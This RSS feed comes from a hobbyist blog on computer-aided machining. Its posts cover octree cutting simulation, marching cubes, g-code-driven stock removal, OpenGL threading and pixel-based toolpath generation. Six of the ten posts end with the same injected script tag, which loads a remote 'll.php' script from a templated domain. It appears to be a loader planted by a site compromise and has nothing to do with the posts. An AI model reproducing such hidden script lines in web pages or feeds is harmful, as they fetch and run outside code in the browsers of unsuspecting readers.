<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; cutsim</title>
	<atom:link href="http://www.anderswallin.net/tag/cutsim/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Tue, 31 Jan 2012 20:09:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Threading and OpenGL, test 2</title>
		<link>http://www.anderswallin.net/2011/10/threading-and-opengl-test-2/</link>
		<comments>http://www.anderswallin.net/2011/10/threading-and-opengl-test-2/#comments</comments>
		<pubDate>Fri, 07 Oct 2011 13:29:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[cutsim]]></category>
		<category><![CDATA[opengl]]></category>
		<category><![CDATA[qt]]></category>
		<category><![CDATA[threads]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=5023</guid>
		<description><![CDATA[Here's a simple test program using LibQGLViewer (screen capture with xvidcap). The vertex array and the index array that OpenGL draws (using glDrawElements) are held in a GLData class which holds a mutex. The Viewer class locks the mutex while drawing, and the worker-thread locks the mutex while updating the data. Here the worker task [...]]]></description>
			<content:encoded><![CDATA[<p><iframe width="640" height="480" src="http://www.youtube.com/embed/5H2lEzn1Zcs?rel=0" frameborder="0" allowfullscreen></iframe></p>
<p>Here's a simple test program using <a href="http://www.libqglviewer.com/">LibQGLViewer</a> (screen capture with <a href="http://xvidcap.sourceforge.net/#intro">xvidcap</a>). The vertex array and the index array that OpenGL draws (using <a href="http://www.opengl.org/sdk/docs/man/xhtml/glDrawElements.xml">glDrawElements</a>) are held in a GLData class which holds a mutex. The Viewer class locks the mutex while drawing, and the worker-thread locks the mutex while updating the data. Here the worker task re-positions the original vertex position, signals the Viewer to draw, and then sleeps for 40 ms. When we don't rotate or zoom with the mouse the frame-rate should thus be 25 Hz. Rotating or zooming causes more frequent re-draws and a higher frame-rate.</p>
<p>To gain any real benefit on a multi-core machine I think the worker thread needs to work on a 'dirty' copy of the data, and we only lock the mutex for a minimal time while swapping in the updated data for the real data. Anyone have any good example code for this? Both a case where the worker produces new data at a slow rate (slower than Viewer re-draws), and at a faster rate should be handled.</p>
<p>Here's an UML(ish) diagram drawn with <a href="http://projects.gnome.org/dia/">dia</a>:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2011/10/opengl_work_task.jpeg"><img src="http://www.anderswallin.net/wp-content/uploads/2011/10/opengl_work_task-300x141.jpg" alt="" title="opengl_work_task" width="300" height="141" class="alignnone size-medium wp-image-5024" /></a></p>
<p><a href="https://github.com/aewallin/sandbox/tree/master/libqgl_thread">Code</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/10/threading-and-opengl-test-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cutsim driven by g-code</title>
		<link>http://www.anderswallin.net/2011/10/cutsim-driven-by-g-code/</link>
		<comments>http://www.anderswallin.net/2011/10/cutsim-driven-by-g-code/#comments</comments>
		<pubDate>Sat, 01 Oct 2011 23:17:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[cutsim]]></category>
		<category><![CDATA[gcode]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=4971</guid>
		<description><![CDATA[Based on Mark Pictor's cam-occ work I've been able to use the emc2 g-code interpreter 'rs274' binary that gets built during an emc2-build. It reads g-code files and outputs 'canonical' motion commands (see e.g. "The NIST RS274/NGC Interpreter - Version 3"). I'm positioning the tool at densely sampled points along each move, and subtracting it [...]]]></description>
			<content:encoded><![CDATA[<p>Based on <a href="http://code.google.com/p/cam-occ/">Mark Pictor's cam-occ</a> work I've been able to use the emc2 g-code interpreter 'rs274' binary that gets built during an <a href="http://www.linuxcnc.org/">emc2</a>-build. It reads g-code files and outputs 'canonical' motion commands (see e.g. <a href="http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.15.7813&amp;rank=4">"The NIST RS274/NGC Interpreter - Version 3"</a>). I'm positioning the tool at densely sampled points along each move, and subtracting it from the stock (see <a href="http://www.cadanda.com/V2Nos1to4_11.pdf">Yau</a> and <a href="http://dx.doi.org/10.1115/1.3130231">Yau</a>) . The stock model is a distance field stored in an adaptive <a href="http://www.anderswallin.net/2011/09/octree-operations/">octree</a> (see <a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.72.915&amp;rep=rep1&amp;type=pdf">Frisken</a> and <a href="http://dl.acm.org/citation.cfm?id=1185675">Frisken</a>).</p>
<p>This is very experimental: There's one kind of stock and one kind of tool, namely spherical!, The stock and tool sizes and colors are hard-coded, There's only one thread which means the UI becomes unresponsive and greyed-out during about 57s of processing. It's slow, 57s for a fairly simple 20-line g-code file. We assume hard-coded paths for the 'rs274' binary and the emc2 tooltable-file.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2011/10/cutsim_with_gcode.png"><img class="alignnone size-medium wp-image-4972" title="cutsim_with_gcode" src="http://www.anderswallin.net/wp-content/uploads/2011/10/cutsim_with_gcode-300x270.png" alt="" width="300" height="270" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/10/cutsim-driven-by-g-code/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Octree operations</title>
		<link>http://www.anderswallin.net/2011/09/octree-operations/</link>
		<comments>http://www.anderswallin.net/2011/09/octree-operations/#comments</comments>
		<pubDate>Sun, 25 Sep 2011 15:02:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[cutsim]]></category>
		<category><![CDATA[octree]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=4936</guid>
		<description><![CDATA[I've looked at set-operations (union, difference, intersection) for octrees again. Previously I tried it with linear-octrees and visualization with python and VTK. Now I'm using a traditional pointer-based octree data-structure, and drawing with OpenGL VBOs. With the addition of a g-code interpreter, a user-interface, and an isosurface extraction algorithm (such as marching-cubes) this should converge [...]]]></description>
			<content:encoded><![CDATA[<p>I've looked at set-operations (union, difference, intersection) for octrees again. <a href="http://www.anderswallin.net/2010/04/cutting-down-the-octree/">Previously I tried it with linear-octrees</a> and visualization with python and VTK. Now I'm using a traditional pointer-based octree data-structure, and drawing with <a href="http://www.opengl.org/wiki/Vertex_Buffer_Object">OpenGL VBOs</a>. With the addition of a g-code interpreter, a user-interface, and an isosurface extraction algorithm (such as <a href="http://en.wikipedia.org/wiki/Marching_cubes">marching-cubes</a>) this should converge towards a milling/turning/3d-printing cutting-simulation sometime soon...</p>
<p>References: <a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.72.915&#038;rep=rep1&#038;type=pdf">Frisken2000</a> and <a href="http://dl.acm.org/citation.cfm?id=1185675">Frisken2006</a>.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2011/09/octree_ops_2011sep25.jpg"><img src="http://www.anderswallin.net/wp-content/uploads/2011/09/octree_ops_2011sep25-300x225.jpg" alt="" title="octree_ops_2011sep25" width="300" height="225" class="alignnone size-medium wp-image-4937" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/09/octree-operations/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Octree animation</title>
		<link>http://www.anderswallin.net/2010/08/octree-animation/</link>
		<comments>http://www.anderswallin.net/2010/08/octree-animation/#comments</comments>
		<pubDate>Wed, 18 Aug 2010 21:15:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[cutsim]]></category>
		<category><![CDATA[octree]]></category>
		<category><![CDATA[opencamlib]]></category>
		<category><![CDATA[wireframe]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3552</guid>
		<description><![CDATA[Update: this figure shows the numbering of vertices(red), edges(green), and faces(blue). The arrows show the direction of the X-(red), Y-(green), and Z-axes(blue). Here the sides of the cube are not generated with Marching-Cubes, they are just extracted directly from the octree. Nodes are subdivided whenever the signed distance-field of the cutter indicates that the surface [...]]]></description>
			<content:encoded><![CDATA[<p>Update: this figure shows the numbering of vertices(red), edges(green), and faces(blue). The arrows show the direction of the X-(red), Y-(green), and Z-axes(blue).</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/08/octnode_numbers1.png"><img class="alignnone size-full wp-image-3557" title="octnode_numbers" src="http://www.anderswallin.net/wp-content/uploads/2010/08/octnode_numbers1.png" alt="" width="567" height="647" /></a></p>
<p><object width="480" height="385" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/17mpgQ4KVLg?fs=1&amp;hl=en_US&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed width="480" height="385" type="application/x-shockwave-flash" src="http://www.youtube.com/v/17mpgQ4KVLg?fs=1&amp;hl=en_US&amp;rel=0" allowFullScreen="true" allowscriptaccess="always" allowfullscreen="true" /></object><br />
Here the sides of the cube are not generated with Marching-Cubes, they are just extracted directly from the octree. Nodes are subdivided whenever the signed distance-field of the cutter indicates that the surface is contained within the node, i.e. the distance-field evaluates to both positive and negative at the eight <del datetime="2010-08-19T05:45:13+00:00">four</del>vertices of a node. This apparently leads to transient holes in the surface when the cutter is just about to enter a coarse node which hasn't been subdivided very far yet. It should be possible to adjust the subdivision criterion so that the octree 'anticipates' the cutter slightly and subdivides ahead of the actual cutter surface.<script type="text/javascript" src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/08/octree-animation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cutsim progress</title>
		<link>http://www.anderswallin.net/2010/08/cutsim-progress/</link>
		<comments>http://www.anderswallin.net/2010/08/cutsim-progress/#comments</comments>
		<pubDate>Mon, 16 Aug 2010 06:37:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[cutsim]]></category>
		<category><![CDATA[octree]]></category>
		<category><![CDATA[opencamlib]]></category>
		<category><![CDATA[tux]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3524</guid>
		<description><![CDATA[The speed of the new cutting-simulation code makes it possible to run it at a higher resolution than before. That makes the surfaces look smooth and nice. Alas, some problems still remain with holes in the fabric of reality mystically appearing and disappearing . There is an edge-flipping paper by Kobbelt et al. from 2001 which improves [...]]]></description>
			<content:encoded><![CDATA[<p>The speed of the new <a href="http://code.google.com/p/opencamlib/source/browse/trunk/src/cutsim/octree2.cpp">cutting-simulation code</a> makes it possible to run it at a higher resolution than before. That makes the surfaces look smooth and nice. Alas, some problems still remain with holes in the fabric of reality mystically appearing and disappearing .</p>

<a href='http://www.anderswallin.net/2010/08/cutsim-progress/screenshot-2/' title='Screenshot'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/08/Screenshot1-150x150.png" class="attachment-thumbnail" alt="Screenshot" title="Screenshot" /></a>
<a href='http://www.anderswallin.net/2010/08/cutsim-progress/holes_2x/' title='holes_2x'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/08/holes_2x1-150x150.png" class="attachment-thumbnail" alt="holes_2x" title="holes_2x" /></a>
<a href='http://www.anderswallin.net/2010/08/cutsim-progress/holes_1x/' title='holes_1x'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/08/holes_1x1-150x150.png" class="attachment-thumbnail" alt="holes_1x" title="holes_1x" /></a>

<p>There is an <a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.131.1234&amp;rep=rep1&amp;type=pdf">edge-flipping paper by Kobbelt et al. from 2001</a> which improves the jagged/aliased look of sharp edges.</p>
<p>Update: <a href="http://www-i8.informatik.rwth-aachen.de/">Kobbelt</a> provides a LGPLv2 licensed sample-implementation of the algorithm here: <a href="http://www-i8.informatik.rwth-aachen.de/index.php?id=17">http://www-i8.informatik.rwth-aachen.de/index.php?id=17</a><script type="text/javascript" src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/08/cutsim-progress/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>OpenCAMLib machining simulation, v.2</title>
		<link>http://www.anderswallin.net/2010/08/opencamlib-machining-simulation-v-2/</link>
		<comments>http://www.anderswallin.net/2010/08/opencamlib-machining-simulation-v-2/#comments</comments>
		<pubDate>Sat, 14 Aug 2010 07:23:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[cutsim]]></category>
		<category><![CDATA[octree]]></category>
		<category><![CDATA[tux]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3509</guid>
		<description><![CDATA[This is my second attempt at a machining simulation where a moving milling tool cuts away voxels from the stock material. To save space an octree data structure is used to store the voxels, and to produce a nice looking surface you store the signed distance to the exact surface in each vertex of the [...]]]></description>
			<content:encoded><![CDATA[<p><object width="640" height="385" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/1DAvgLCj_RQ?fs=1&amp;hl=en_US&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed width="640" height="385" type="application/x-shockwave-flash" src="http://www.youtube.com/v/1DAvgLCj_RQ?fs=1&amp;hl=en_US&amp;rel=0" allowFullScreen="true" allowscriptaccess="always" allowfullscreen="true" /></object></p>
<p>This is my second attempt at a machining simulation where a moving milling tool cuts away <a href="http://en.wikipedia.org/wiki/Voxel">voxels</a> from the stock material. To save space an <a href="http://en.wikipedia.org/wiki/Octree">octree</a> data structure is used to store the voxels, and to produce a nice looking surface you store the signed distance to the exact surface in each vertex of the octree. You then use <a href="http://en.wikipedia.org/wiki/Marching_cubes">marching-cubes</a> to extract triangles for a distance=0 isosurface in order to draw the stock.</p>
<p>Unlike <a href="http://www.anderswallin.net/2010/07/octree-based-cutting-simulation/">my first attempt</a>, this works well enough to warrant further experiments (on the to-do list are: differently shaped tools, colouring triangles based on which tool cut the voxel, lathe operations, material removal-rate, etc.). It should be straightforward to hook this up to the <a href="http://linuxcnc.org/">EMC2</a> G-code interpreter so that any G-code, not just densely sampled CL-points from <a href="http://code.google.com/p/opencamlib/">OCL</a>, can be simulated. You could also flip the sign of all the numbers, and simulate an additive process, like 3D printing (<a href="http://www.reprap.org/wiki/Main_Page">reprap</a> / <a href="http://www.makerbot.com/">makerbot</a>).</p>
<p>This approach to machining simulation is described in <a href="http://www.cadanda.com/V2Nos1to4_11.pdf">a 2005 paper by Yau, Tsou, and Tong</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/08/opencamlib-machining-simulation-v-2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Octree with Marching Cubes</title>
		<link>http://www.anderswallin.net/2010/08/octree-with-marching-cubes/</link>
		<comments>http://www.anderswallin.net/2010/08/octree-with-marching-cubes/#comments</comments>
		<pubDate>Mon, 09 Aug 2010 20:52:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[cutsim]]></category>
		<category><![CDATA[marching cubes]]></category>
		<category><![CDATA[octree]]></category>
		<category><![CDATA[opencamlib]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3494</guid>
		<description><![CDATA[Update 3: this leads slowly towards a better and faster cutting simulation. Here's an example with Tux: Update2: this looks slightly better now (a ball translated in a few steps towards the right). Image and c++ code by fellow OCLer Jiang from China. Update: in a cutting simulation the stock is updated by removing voxels [...]]]></description>
			<content:encoded><![CDATA[<p>Update 3: this leads slowly towards a better and faster cutting simulation. Here's an example with Tux:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/08/cutsim1.png"><img class="alignnone size-medium wp-image-3507" title="cutsim" src="http://www.anderswallin.net/wp-content/uploads/2010/08/cutsim1-300x233.png" alt="" width="300" height="233" /></a></p>
<p>Update2: this looks slightly better now (a ball translated in a few steps towards the right). Image and c++ code by fellow OCLer Jiang from China.<br />
<a href="http://www.anderswallin.net/wp-content/uploads/2010/08/octree21.jpg"><img class="alignnone size-medium wp-image-3504" title="octree2" src="http://www.anderswallin.net/wp-content/uploads/2010/08/octree21-268x300.jpg" alt="" width="268" height="300" /></a><br />
Update: in a cutting simulation the stock is updated by removing voxels which fall inside the cutter. Here I'm trying it with a spherical shape positioned at (0,0), and then moved slightly along the X-axis. The white dots are corners of octree nodes, and the cyan triangles are produced by marching cubes. It works quite well, but on the border between the two cutter instances the distance-field is somehow wrong, and marching-cubes doesn't come up with the right triangles, leaving gaps instead.<br />

<a href='http://www.anderswallin.net/2010/08/octree-with-marching-cubes/octree2/' title='octree2'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/08/octree21-150x150.jpg" class="attachment-thumbnail" alt="octree2" title="octree2" /></a>
<a href='http://www.anderswallin.net/2010/08/octree-with-marching-cubes/depth7_one/' title='depth7_one'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/08/depth7_one1-150x150.png" class="attachment-thumbnail" alt="depth7_one" title="depth7_one" /></a>
<a href='http://www.anderswallin.net/2010/08/octree-with-marching-cubes/depth7/' title='depth7'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/08/depth71-150x150.png" class="attachment-thumbnail" alt="depth7" title="depth7" /></a>
<a href='http://www.anderswallin.net/2010/08/octree-with-marching-cubes/depth5/' title='depth5'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/08/depth51-150x150.png" class="attachment-thumbnail" alt="depth5" title="depth5" /></a>
<a href='http://www.anderswallin.net/2010/08/octree-with-marching-cubes/cutsim/' title='cutsim'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/08/cutsim1-150x150.png" class="attachment-thumbnail" alt="cutsim" title="cutsim" /></a>
</p>
<p>Earlier I was building an <a href="http://en.wikipedia.org/wiki/Octree">octree</a> volume-representation of a shape using a simple <strong>bool isInside(Point p)</strong> predicate function to determine which cubes are in and which are out. If instead a distance-function <strong>double distance(Point p)</strong> which is negative inside the volume, zero exactly on the surface, and positive outside, is used, then the <a href="http://en.wikipedia.org/wiki/Marching_cubes">Marching Cubes</a> algorithm (<a href="http://local.wasp.uwa.edu.au/~pbourke/geometry/polygonise/">this is a better explanation</a>, someone should make the wikipedia page as good!) can be used to triangulate the octree. This leads to much more visually pleasing results at reasonable maximum tree-depths.</p>
<p>The same Hong-Tzong Yau of Taiwan who wrote<a href="http://dx.doi.org/10.1080/00207540410001671651"> a very reasonable drop-cutter paper in 2004</a> has more recently come out with <a href="http://dx.doi.org/10.1115/1.3130231">a 2009 paper on cutting simulation using an octree and Marching Cubes</a>.</p>
<p><object width="640" height="385" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/xfEIPLZdqZk&amp;hl=en_US&amp;fs=1?rel=0" /><param name="allowfullscreen" value="true" /><embed width="640" height="385" type="application/x-shockwave-flash" src="http://www.youtube.com/v/xfEIPLZdqZk&amp;hl=en_US&amp;fs=1?rel=0" allowFullScreen="true" allowscriptaccess="always" allowfullscreen="true" /></object></p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/08/depth7_one1.png"><img class="alignnone size-medium wp-image-3501" title="depth7_one" src="http://www.anderswallin.net/wp-content/uploads/2010/08/depth7_one1-300x177.png" alt="" width="300" height="177" /></a><br />
<script type="text/javascript" src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/08/octree-with-marching-cubes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cutsim Tux</title>
		<link>http://www.anderswallin.net/2010/07/cutsim-tux/</link>
		<comments>http://www.anderswallin.net/2010/07/cutsim-tux/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 16:59:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[cutsim]]></category>
		<category><![CDATA[octree]]></category>
		<category><![CDATA[opencamlib]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3341</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/N7SU0l2b1j4&amp;hl=en_US&amp;fs=1?rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/N7SU0l2b1j4&amp;hl=en_US&amp;fs=1?rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/07/cutsim-tux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mowing Foam</title>
		<link>http://www.anderswallin.net/2008/01/mowing-foam/</link>
		<comments>http://www.anderswallin.net/2008/01/mowing-foam/#comments</comments>
		<pubDate>Wed, 02 Jan 2008 12:00:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[CNC]]></category>
		<category><![CDATA[cutsim]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/01/mowing-foam/</guid>
		<description><![CDATA[Dan Egnor sent me this nice example of bitmap-based toolpath generation, or 'pixel mowing'. It's a slightly exaggerated topographic relief of San Francisco machined in tooling board using a very simple 'lawn mowing' toolpath generator. The explanation of how it works below is mostly Dan's, not mine. This is the input to the toolpath generator [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/2008_01mow/landscape.jpg"><img src="http://www.anderswallin.net/wp-content/2008_01mow/landscape.jpg" /></a></p>
<p>Dan Egnor sent me this nice example of bitmap-based toolpath generation, or 'pixel mowing'. It's a slightly exaggerated topographic relief of San Francisco machined in tooling board using a very simple 'lawn mowing' toolpath generator.</p>
<p>The explanation of how it works below is mostly Dan's, not mine.</p>
<p><a href="http://www.anderswallin.net/wp-content/2008_01mow/pass_before.png"><img src="http://www.anderswallin.net/wp-content/2008_01mow/pass_before.png" /></a></p>
<p>This is the input to the toolpath generator for one of the Z-slices.</p>
<p>black - material which must not be touched<br />
green - to be removed, is safe (at least one tool radius from black)<br />
yellow - remove if possible, is dangerous (within tool radius of black)<br />
purple - has been cleared, is dangerous (machine limits or similar)<br />
white - has been cleared, is safe, is not blue (below)<br />
blue - this spot has been cleared, and is safe, but is within one tool radius of material that needs clearing (green or yellow)</p>
<p>Note that you don't see blue in either "before" or "after" images, it only occurs transiently.  (In theory it could show up in "before" as area outside the workpiece.)</p>
<p><a href="http://www.anderswallin.net/wp-content/2008_01mow/pass_after.png"><img src="http://www.anderswallin.net/wp-content/2008_01mow/pass_after.png" /></a></p>
<p>And this is the resulting toolpath. Green circles are plunges and red circles are lifts. The thick grey lines represent actual cuts, the thinner lines are rapid feeds.</p>
<p>The basic rule is that the tool *centroid* is only allowed to visit safe areas (green, blue, and white).  Green and blue represent work to be done (safe areas that need visiting).  Of course, as the tool moves, green changes to blue and white, and (some) yellow changes to purple.</p>
<p>The real trick is in efficiently tracking the "within tool radius of" zones (material to be cut, or material to stay away from).  Every pixel keeps a count of how many pixels of each type ("nearby-blocking" or "nearby-cutting") are within one tool radius of that pixel.  Whenever a value is changed ( e.g. the simulated tool moves and changes some points from "cut" to "clear"), every counter within the appropriate radius is updated.</p>
<p>That would be rather costly to implement directly, each simulated pixel move would require N^3 updates, if N is the diameter of the tool. Instead those counters are only kept as *differences* between each point and its neighbours.  That means changing a point only requires updating the values along the *perimeter* of the radius surrounding that point, meaning that a simulated pixel move only requires N^2 updates, which makes things a lot more tractable (though it still takes the old laptop I use a couple minutes to complete the toolpaths for a 5" x 3" x 1.5" model at 1/256" resolution). Of course this means that the "color state" isn't directly accessible for a random pixel, but must be figured incrementally from neighboring values.  Fortunately most operations don't access random pixels.</p>
<p>You would probably not want to cut metal with this kind of algorithm as there is no control over material removal rate or cutting forces, but for foam, tooling-board, or wood it should work ok.</p>
<p>Dan's program is written in C++ and available here (<a href="http://svn.ofb.net/svn/egnor/boring/">http://svn.ofb.net/svn/egnor/boring/</a>), but it's not well documented.</p>
<p>We are standing by for a video of this kind of cutting!<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/01/mowing-foam/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Mowing tactics</title>
		<link>http://www.anderswallin.net/2007/12/mowing-tactics/</link>
		<comments>http://www.anderswallin.net/2007/12/mowing-tactics/#comments</comments>
		<pubDate>Sat, 01 Dec 2007 19:00:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[cutsim]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2007/12/mowing-tactics/</guid>
		<description><![CDATA[Moving forward with the CAM coding, the sensible thing would probably be to work on mundane things like 2D offset generation, a kd-tree for faster drop-cutter searches, and zigzag-paths from 2D outlines... There's again been some talk about open-source CAM on cnczone, but not much in terms of results or actual descriptions or implementations of [...]]]></description>
			<content:encoded><![CDATA[<p>Moving forward with <a href="http://code.google.com/p/monocam/">the CAM coding</a>, the sensible thing would probably be to work on mundane things like <a href="http://portal.acm.org/citation.cfm?id=1228072">2D offset generation</a>, a <a href="http://en.wikipedia.org/wiki/Kd-tree">kd-tree</a> for faster <a href="http://www.anderswallin.net/2007/08/drop-cutter-in-c-v2/">drop-cutter</a> searches, and zigzag-paths from 2D outlines... There's again been <a href="http://cnczone.com/forums/showthread.php?t=42392">some talk about open-source CAM on cnczone</a>, but not much in terms of results or actual descriptions or implementations of toolpath algorithms.</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/-IyN1wQDE0E?fs=1&amp;hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/-IyN1wQDE0E?fs=1&amp;hl=en_US" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p>Anyway, here's something more fun than the traditional computational geometry problems I referred to above. It's lawn-mowing tactics, or how do you program the circular robot to mow the red pixels while not cutting too many of them at a time. This is a slightly improved version of <a href="http://www.anderswallin.net/2007/06/an-emergent-spiral/">my earlier trial</a>.  This one considers a number of angles in all directions for each move. From these moves the ones that cut away a suitable amount of material are selected. Additionally I've introduced a cost function for changing direction, it should be easier for the cutter to continue traveling in approximately the same direction than to do abrupt turns. In spite of this, about half-way through the cutter reverses direction...This is obviously done with a bitmap representing the grass to be mowed, but I wonder if it would be better to try to do it more exactly: represent the boundaries of the grass with lines and arcs. A variable step-length also seems like a good idea, on long straight bits the cutter should be able to move in one go as far as it goes.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2007/12/mowing-tactics/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

